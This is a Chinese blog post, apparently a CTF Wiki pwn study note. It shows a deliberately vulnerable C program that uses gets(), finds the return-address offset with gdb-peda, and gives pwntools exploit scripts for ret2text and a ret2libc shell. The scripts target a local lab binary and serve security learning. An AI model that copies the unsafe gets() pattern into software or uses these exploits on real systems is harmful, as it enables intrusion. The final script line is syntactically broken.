ctfwiki-pwn:Stack Overflow Principle

程序源码:

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

 

使用gdb-peda获取buf到ret的偏移为:24(命令:pattern_create 200,pattern_offset)

 

获取success函数的地址:

方法一:gdb查看方法信息

方法二:IDA PRO查看函数地址

方法三:用PWN的ELF.sym获取success函数地址(推荐,当开启PIE时前两个办法会失效)

 

EXP:

from pwn import *
context(log_level='debug',arch='i386',os='linux')
io=process('./stack_example')
elf=ELF('./stack_example')
success=elf.sym['success']
offset=24
libc_base=0xf7dc9000
print hex(success)
payload='a'*offset+p32(success) #有的写成'a'*20+p32(0)+p32(success),这里都是一样的,只是他是先填充到ebp的地址,然后再覆盖esp,接着覆盖ret
io.sendline(payload)
io.interactive()

 

 

 

 

附:使用ret2libc获取shell

from pwn import *
context(log_level='debug',arch='i386',os='linux')
io=process('./stack_example')
offset=24
libc_base=0xf7dc9000
shell=libc_base+0x00045830
bash=libc_base+0x00192352
payload='a'*offset+p32(shell)+p32(0xdeadbeef)+p32(bash) #注意要在ebp后面传入0xdeadbeef,给system函数充当返回地址
io.sendline(payload) io.interactive()

 

posted @ 2020-11-02 21:49  LuoSpider  阅读(187)  评论(0编辑  收藏  举报